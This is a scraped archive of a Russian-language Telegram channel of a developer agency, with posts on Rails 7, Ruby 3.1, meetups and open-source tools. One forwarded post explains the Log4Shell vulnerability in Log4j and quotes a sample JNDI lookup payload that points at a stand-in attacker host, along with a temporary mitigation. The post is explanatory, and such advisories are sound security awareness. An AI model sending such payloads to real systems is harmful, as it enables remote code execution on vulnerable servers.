Telegram Web Link
Меньше часа осталось до старта онлайн-митапа Winter Saint P 2021 Meetup, где выступают сразу двое марсиан (и оба с докладами про базы данных): Дмитрий Цепелев и Андрей Новиков.

Регистрация и ссылка на Zoom: kommunity.com/saintpruby/events/fall-2021-meetup-26df1ea3
Праздник к нам приходит, а с ним и ежегодный челлендж Advent of Code!

Небольшие задачки для разминки и новогоднего настроения каждый день в течение декабря вплоть до 25 декабря. 🎄

http://amp.gs/jYwoI
Интересные мысли о настоящем и будущем программирования от Алана Кея — автора Smalltalk, одного из изобретателей ООП и GUI и вообще живой легенды:

https://www.youtube.com/watch?v=D43PlUr1x_E
Вышел первый релиз-кандидат Ruby on Rails 7.0 (🎁🎄)

В комплекте:
 • новый подход к работе с JS: можно совсем без сборщиков, используя ESM, Hotwire, Turbo, а можно со сборщиком, причём на выбор: esbuild, rollup.js или Webpack. И CSS-фреймворк можно выбрать (PostCSS, Tailwind CSS и другие).
 • шифрованные атрибуты в БД «из коробки»
 • возможность делать несколько параллельных запросов к БД и продвинутое логирование этих запросов
 • и многое другое.

Кстати, в ченджлоге есть даже парочка марсианских пулл-реквестов: #38957 Поддержка direct uploads к нескольким сервисам в Active Storage и #40491 Выражение FILTER (SQL:2003) в Arel.

Подробнее у фреймворка в блоге: weblog.rubyonrails.org/2021/12/6/Rails-7-0-rc-1-released
В поисках жизни в Солнечной системе лаборатория NASA Jet Propulsion Labs использует платформу Labelbox и ее machine learning-алгоритмы. А эту платформу, в свою очередь, поддерживают инструменты, один из которых — наш марсианский продукт imgproxy Pro.

Злые Марсиане ищут добрых, получается.

http://amp.gs/jYbZ6
Авторы Macaw, Swift-библиотеки для работы с SVG, подарили миру Apple-разработчиков SVGView — парсер и рендерер SVG-файлов на SwiftUI.

http://amp.gs/jYb73
Злая Марсианка Вика Мельникова обсудила тонкости найма команды продуктовой разработки на подкасте #TechForNonTechies с Софией Матвеевой. Автор подкаста — ментор и создатель Enty, в разработке которого нам довелось поучаствовать.

http://amp.gs/jtjfg
Рассказываем об одном из самых крутых мобильных кейсов Марсиан — о том, как в качестве технической команды с нуля создавали FEED, новую социальную сеть, в основе которой видео и только видео со множеством эффектов (и никакого текста!).

При работе над iOS приложением поработали с последними технологиями с мобильного фронта, включающими Swift, SwiftUI, Combine, Compositional Layout, Core ML, GraphQL, социальные механики и множество фич для встроенного видео-редактора.

http://amp.gs/jt8qx
Неделю назад прошёл Saint P Ruby Winter 2021 meetup. Видео с него уже доступно на YouTube вместе с докладами марсиан!

Доклад Дмитрия Цепелева про мультиверсионность в базах данных начинается с 36:35, а доклад Андрея Новикова про индексы в них же — с 1:05:05.

Наслаждайтесь: youtu.be/BhI2BnOTrQs

Вопросы по докладам не стесняйтесь спрашивать в чате питерского Ruby-сообщества @saintprug — авторы там есть и активно участвуют, хоть сами и не из Санкт-Петербурга.
Forwarded from Кавычка (Bo0oM)
У половины интернета нашли выполнение произвольного кода через Log4j.

Выглядит это так:

1) Посылаем специально сформированный запрос вида ${jndi:ldap://attacker.host/blabla} в любое место, которое потенциально может залогироваться.
2) JNDI (Java Naming and Directory Interface) в свою очередь обрабатывает шаблон, запрашивает данные через LDAP у attacker.host
3) В ответе отдается JAVA класс, который и позволяет выполнить произвольный код.

Гроб. Гроб. Кладбище.
Временный фикс: JAVA_OPTS="-Dlog4j.formatMsgNoLookups=true”

Вот примеры того, что уязвимо (От Cloudflare и Apple до серверов майнкрафта).
Вышла финальная версия Ruby on Rails 7.0!

Большое обновление, которому задолго до релиза пророчили революционную роль в веб-разработке — ведь по умолчанию работа с фронтендом теперь организована совсем по-новому (или слишком хорошо забытому старому) — без сборщиков и Node.js на разработческой машине. Современные веб-технологии (ESM, HTTP/2, import maps), а также рельсовое «ноу-хау» Hotwire (с Turbo и Stimulus под капотом и, кстати, мы про него уже написали пост у нас в блоге), позволяют разрабатывать современные интерфейсы без SPA и дополнительной сложности. Насколько такой подход «взлетит» и будет ли ренессанс рельсовых вьюх — это нам еще предстоит увидеть.

Ещё из значимого в этом релизе:
 • шифрованные атрибуты в БД «из коробки»
 • возможность делать несколько параллельных запросов к БД и продвинутое логирование этих запросов
 • управление кэшировем partials (caching? и uncacheable!)
 • и многое другое.

Минимальная версия Ruby теперь 2.7.

Ну а в полном ченджлоге, где есть изменения разной степени революционности, нашлось место и парочке небольших марсианских пулл-реквестов: #38957 Поддержка direct uploads к нескольким сервисам в Active Storage, #40491 Выражение FILTER (SQL:2003) в Arel, #41933 Улучшения upsert_all.

Читайте подробнее в анонсе у фреймворка в блоге и зацените новый веб-сайт проекта: rubyonrails.org.
Сергей Александрович, автор imgproxy, побывал в гостях у подкаста Remote Talk. Поговорили об imgproxy и open source в целом, обстановке в мире Go и выборе технологий на проектах Злых Марсиан.

YouTube: http://amp.gs/jt7Uu

Аудио: http://amp.gs/jt7U0
И награду Highest Satisfaction от The State of CSS 2021 (с рейтингом удовлетворенности в 91%) получает… PostCSS. 🏆

Безумно круто! Поздравляем нашего коллегу Андрея Ситника, автора PostCSS и многих других open source проектов, хорошо известных в мире фронтенда! 🎉

http://amp.gs/jtEXF
На этой неделе в марсианском блоге: как Machine Learning-инженер марсиан Алексей Газиев и художник Глеб Солнцев использовали нейронные сети, чтобы создать картины в уникальном стиле художника. А в результате появился арт-проект SunGaz, представленный на выставках в нескольких странах и использованный для оформления декораций в спектакле по Буковски.

Рассказали подробно обо всех шагах и примененных инструментах. Может ли нейронная сеть заменить еще и художника? Наше мнение — в статье. Ждем вашего.

http://amp.gs/jtVlk
«Они убили Go», или «Пусть лучше Go прогнется под нас», или… Ну, вы поняли — в Go дженерики подвезли (в на днях вышедшей 1.18.beta1):

http://amp.gs/jt44S
У нашего проекта AnyCable пополнение — встречайте скринкасты AnyCasts, посвященные разработке real-time приложений на Ruby и не только.

В открывающем эпизоде Владимир Дементьев пишет с нуля прототип на Rails 7, Hotwire и AnyCable:

http://amp.gs/jtd7F
Почему запрос к базе данных на одних и тех же данных локально может работать быстро, а на стейджинге (или даже на продакшене) — медленно?

Марсианский инженер Андрей Новиков разбирает один такой случай в короткой статье, из которой можно чуть больше узнать о том, как могут выполняться запросы в системах управления базами данных и что на это влияет (слова-спойлеры: селективность, статистика).

Читайте: habr.com/ru/post/597651.
По традиции, на католическое Рождество, вышла новая версия Ruby, Ruby 3.1.0:

http://amp.gs/jtN0G

Главное новшество релиза — YJIT, JIT-компилятор, разработку которого спонсирует Shopify, одно из крупнейших (или крупнейшее?) Rails-приложение в мире. YJIT создавался с прицелом на ускорение "real-world" Rails-приложений, и прочитать про него можно здесь:
http://amp.gs/jtN0x

Также в комплекте новый gem debug для отладки, много улучшений поменьше и отдельные изменения в языке, которые, наверное, заинтересуют в первую очередь тех, кто много проводит в багтрекере Ruby и спорах вокруг синтаксиса языка.

Стоит отметить, что Rails 7 пока не работает с Ruby 3.1.0: можно подождать версии Rails 7.0.1, или воспользоваться версией напрямую из git.
В недавно вышедшей Ruby on Rails 7.0 есть множество нововведений: больших и малых, революционных и не очень, полезных и противоречивых.

Сегодня расскажем об одном противоречивом: полезном, но очень опасном при неаккуратном использовании. Знакомьтесь, метод invert_where в скоупах ActiveRecord.

С одной стороны, это очень удобная штука для быстрого получения обратных условий для выборки данных из базы: Post.published.invert_where и вуаля.

Но проблема кроется в том, что инвертируются все where-условия, наложенные на скоуп, включая те, что были добавлены при сцеплении скоупов и в default_scope (который многие считают злом и небезосновательно).

При неаккуратном использовании можно сделать большую такую дыру в безопасности — например, выдать одному клиенту данные других клиентов в мультитенантном приложении.

Больше страшных примеров можно найти в этом блоге: blog.kiprosh.com/side-effects-of-activerecords-new-feature-invert_where-in-rails-7

А советы по безопасному использованию — в этом: jbhannah.net/articles/rails-7-using-invert-where-safely

И есть предложение написать копа в RuboCop-Rails, который будет помогать отлавливать потенциально небезопасное использование: github.com/rubocop/rubocop-rails/issues/470 (Кто хочет поконтрибьютить в опенсорс? Вот хорошая задача!)

Используйте новые возможности языков и фреймворков с умом и меньше багов вам в наступившем году!
2024/11/17 07:29:13
Back to Top
HTML Embed Code: